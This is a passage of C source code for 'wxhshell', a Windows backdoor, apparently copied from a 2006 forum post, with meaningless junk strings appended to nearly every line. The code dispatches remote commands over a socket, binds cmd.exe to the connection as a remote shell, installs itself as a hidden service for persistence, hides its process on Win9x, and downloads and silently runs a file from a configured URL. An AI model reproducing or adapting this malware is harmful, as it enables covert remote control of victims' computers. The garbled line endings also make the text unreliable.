C,%Dp0  
    switch(cmd[0]) { Anqt:(  
  5j\Kej  
  // 帮助  E(wS6  
  case '?': { H=w6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SrGJ#K&%  
    break; L,!\PV|  
  } 0d+b<J,  
  // 安装 _ nz^+  
  case 'i': { neE Zw#(Z  
    if(Install()) Hzc}NyJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }x& X vI  
    else KS1udH^Zc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n2:Uu>/  
    break; Y+kuj],h  
    } {U@"]{3Qx  
  // 卸载 ,\i,2<hz.  
  case 'r': { Y]Z&  
    if(Uninstall()) _00}O+GLM4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mNum3e  
    else !vVW8hbp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IWm@pfC+g  
    break; h~qv_)F_  
    } [w-Tf&  
  // 显示 wxhshell 所在路径 k<Xb< U  
  case 'p': { sva-Sd8  
    char svExeFile[MAX_PATH]; [z"oi'"fQ  
    strcpy(svExeFile,"\n\r"); )2 q r^)  
      strcat(svExeFile,ExeFile); 4F6I7lu  
        send(wsh,svExeFile,strlen(svExeFile),0); ~C3J-z<  
    break; 9V~hz (^  
    } 65VTKlDD  
  // 重启 OoRg:"9{#  
  case 'b': { c<~DYe;;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mkPqxzxbrL  
    if(Boot(REBOOT)) MiKq|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M= |is*t  
    else { `c|H^*RC  
    closesocket(wsh); Z0O0Q=e\Y  
    ExitThread(0); B*E"yB\NV  
    } I[gPW7&S@  
    break; W voIh4]  
    } smn(q)tt  
  // 关机 2yD ?f8P4  
  case 'd': { DZLEx{cm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?R4u>AHS@  
    if(Boot(SHUTDOWN)) 9~2iA,xs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5O/c,?g  
    else { $P)-o?eer  
    closesocket(wsh); T+t7/PwC;  
    ExitThread(0); W5e >Z&&  
    } A |@d{g  
    break; k]P'D .  
    } :Ig9n :  
  // 获取shell :cIPX%S  
  case 's': { |}:q@]dC#  
    CmdShell(wsh); !6sR|c"~j  
    closesocket(wsh); '/rU<.1  
    ExitThread(0); 3u 7A(  
    break; j|qdf3^f  
  } U#sv.r/L}3  
  // 退出 69Z`mR  
  case 'x': { 7l09  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^^24a_+2  
    CloseIt(wsh); d_f*'M2Gv  
    break; 0F6@aQ\y3  
    } |Q@(<'8=  
  // 离开 ftRdK>a D  
  case 'q': { =Lb(N61  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BeD>y@ it  
    closesocket(wsh); L_+ Fin  
    WSACleanup(); nB[B FVkU  
    exit(1); 0S }\ML  
    break; cG3tn&AXi  
        } 09 f;z  
  } MSp) Jc  
  } #N'9F&:V$  
%s5( ''a.  
  // 提示信息 blP8"(U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NXz/1ut%  
} JDp=w,7LF  
  } gxe u2 HG  
nE0I[T(  
  return; $GQEdVSNo  
} - K"L6m|  
.b!HEi<F  
// shell模块句柄 ti]8_vP}*  
int CmdShell(SOCKET sock) teLZplC=f  
{ {K|ds($ 5  
STARTUPINFO si; +# !?+'A  
ZeroMemory(&si,sizeof(si)); BLt_(S?Z`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (JE&1 @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; usu{1&g  
PROCESS_INFORMATION ProcessInfo; q[Ey!h)xq  
char cmdline[]="cmd"; zW hzU|=8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Bd:R}yZP7  
  return 0; Uxe]T  
} }dqOE-"I"n  
C\;%IGn  
// 自身启动模式 }N,v&  B  
int StartFromService(void) =i2]qj\  
{ *+2BZ ZwT  
typedef struct Z^J)]UL/  
{ d7x6r3J$  
  DWORD ExitStatus; -- IewW  
  DWORD PebBaseAddress; lQt,(@7]  
  DWORD AffinityMask; !:uh? RW  
  DWORD BasePriority; bGwj` lue  
  ULONG UniqueProcessId; B4c;/W-  
  ULONG InheritedFromUniqueProcessId; l Dwq[ I]w  
}   PROCESS_BASIC_INFORMATION; f{\[+>  
8{7'w|/;.{  
PROCNTQSIP NtQueryInformationProcess; Q&PEO%/D  
4 'vjU6gW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Rb1%1bdc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N>g6KgX{K  
;qUd]c9oi  
  HANDLE             hProcess; 0&Iu+hv  
  PROCESS_BASIC_INFORMATION pbi; ~X'hRNFx~  
X*bOE}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i\4dd)p-  
  if(NULL == hInst ) return 0; :Fh_Ya0  
DIhV;[\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QYAt)Ik9q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  3L4v@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 83'rQDo)G  
>=1UhHFNI  
  if (!NtQueryInformationProcess) return 0; Q(Pc  
k>E/)9%ep2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P8ns @VV  
  if(!hProcess) return 0; `V*$pHo  
JiXN"s^mcb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; THy   
(8~Hr?1B  
  CloseHandle(hProcess); 3#F"UG2,_  
y>r^ MQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + eZn  
if(hProcess==NULL) return 0; I=YZ!*f/`  
$UdFm8&  
HMODULE hMod; jT-tsQ .,  
char procName[255]; Go~3L8 '  
unsigned long cbNeeded; :/fT8KCwo  
: D !/.0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F7=&CW 0  
k4"O} jQO  
  CloseHandle(hProcess); FuFICF7+C  
Rp}Sm,w(  
if(strstr(procName,"services")) return 1; // 以服务启动 Q[aBxy (  
.[6T7fdi  
  return 0; // 注册表启动 COH>B1W@  
} &>ykkrY  
_w%{yF6   
// 主模块 A{DE7gp!  
int StartWxhshell(LPSTR lpCmdLine) nEik;hAz  
{ TF,([p*  
  SOCKET wsl; C3K")BO!  
BOOL val=TRUE; HLq2a vs\  
  int port=0; WOYN% 0#  
  struct sockaddr_in door; yoBR'$-=  
%6:"tuA  
  if(wscfg.ws_autoins) Install(); H1vToIP%  
1{h,LR  
port=atoi(lpCmdLine); r#6djs1  
4X>=UO``L  
if(port<=0) port=wscfg.ws_port; I5rAL\y-G  
-8t&&fIA  
  WSADATA data; SMA' VU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U {9yfy  
88DMD"$B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gy5R"_MU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Z7NF|  
  door.sin_family = AF_INET; buMST&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bp P3#~ K  
  door.sin_port = htons(port); -{$L`{|G  
D}nRH@<`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9t&m\J >8;  
closesocket(wsl); Z.U8d(  
return 1;  ;W@  
} g'.(te |  
-&np/tEu&  
  if(listen(wsl,2) == INVALID_SOCKET) { ;7mE%1X  
closesocket(wsl); N6!9QIu~i  
return 1; ^4a|gc  
} h)X"<a++N  
  Wxhshell(wsl); X`k#/~+0  
  WSACleanup(); OkQtM nq  
qu/b:P  
return 0; 8fb<hq<  
a0&R! E;  
} b5^-q c6X  
&2pa9i  
// 以NT服务方式启动 cN]g^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iE"+-z\U  
{ z'k@$@:0XD  
DWORD   status = 0; {6;S= 9E\  
  DWORD   specificError = 0xfffffff; oJ0ZZu?{D  
"J%dI9tM{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0NyM|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hoZM;wC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5?Rzyfwk|  
  serviceStatus.dwWin32ExitCode     = 0; Yj*!t1qm  
  serviceStatus.dwServiceSpecificExitCode = 0; BPypjS0?8  
  serviceStatus.dwCheckPoint       = 0; a]?o"{{+  
  serviceStatus.dwWaitHint       = 0; *<ww~^a  
?&@a{-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >s>{+6e  
  if (hServiceStatusHandle==0) return; Uc]sWcR  
x I(X+d``  
status = GetLastError(); JS(%:  
  if (status!=NO_ERROR) DG 6W ^  
{ :v8~'cZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $`|\aXd[C*  
    serviceStatus.dwCheckPoint       = 0; >8w=Vlp  
    serviceStatus.dwWaitHint       = 0; GFYHt!&[\  
    serviceStatus.dwWin32ExitCode     = status; c+G%o8  
    serviceStatus.dwServiceSpecificExitCode = specificError; sN@=Ri?\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ko`KAU<T_  
    return; SfGl*2  
  } R9^R G-x  
`:fh$V5J>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I?Q[ZH:M  
  serviceStatus.dwCheckPoint       = 0; @-aMj  
  serviceStatus.dwWaitHint       = 0; QfI@=Kbg%#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HD8*>p.  
} &h;J_Ps  
b("M8}o  
// 处理NT服务事件,比如:启动、停止 7\EY&KI"0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ifcC [.im  
{ 2NZC,znQ  
switch(fdwControl) #CNK [y  
{ NFBhnNH+  
case SERVICE_CONTROL_STOP: 8'0I$Qa4  
  serviceStatus.dwWin32ExitCode = 0; Ab:+AC5{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UO_tJN#X  
  serviceStatus.dwCheckPoint   = 0; 5>S)+p  
  serviceStatus.dwWaitHint     = 0; Jm]P,jaLc  
  { h0zv @,u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &&`-A6`p  
  } unAu8k^  
  return; 0GMov]W?i  
case SERVICE_CONTROL_PAUSE: i-`J+8|d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > ZKHjw  
  break; V})b.\"F  
case SERVICE_CONTROL_CONTINUE: `fq#W#Pu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1YvE/<6  
  break; L(_bf/ @3  
case SERVICE_CONTROL_INTERROGATE: ac#I $V-  
  break; VK^m]??s_  
}; ,g{Ob{qT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 ac;6`  
} G q2@37U  
i'uSu8$'*  
// 标准应用程序主函数 ^;.&=3N,+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \EQCR[7qu7  
{ x\'95qU  
#A9rI;"XI  
// 获取操作系统版本 ]O+W+h{]  
OsIsNt=GetOsVer(); EOzw&M];r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ks\\2$Cm7  
uu;1B.[b  
  // 从命令行安装 O <"\G!y~  
  if(strpbrk(lpCmdLine,"iI")) Install(); N:&EFfg3  
>\ x!a:}  
  // 下载执行文件 a0 8Wt  
if(wscfg.ws_downexe) { R9)"%SO<y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {# Vp`ji  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5PPaR|c3  
} e&ci\x%  
^#)]ICV  
if(!OsIsNt) { I|vfxf  
// 如果时win9x,隐藏进程并且设置为注册表启动 N7mYE  
HideProc(); hmr2(f%U  
StartWxhshell(lpCmdLine); d3tr9B  
} @$!rgLyL[  
else sJ5Ws%q  
  if(StartFromService()) bDT@E,cSi  
  // 以服务方式启动 y.Y;<UGu  
  StartServiceCtrlDispatcher(DispatchTable); 3&KRG}5  
else wlw`%z-B2  
  // 普通方式启动 ]@hN&W(+x  
  StartWxhshell(lpCmdLine); aP/Ff%5T  
rqz`F\A;%  
return 0; n1;zml:7_  
}
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只看该作者 1 发表于: 2006-10-10
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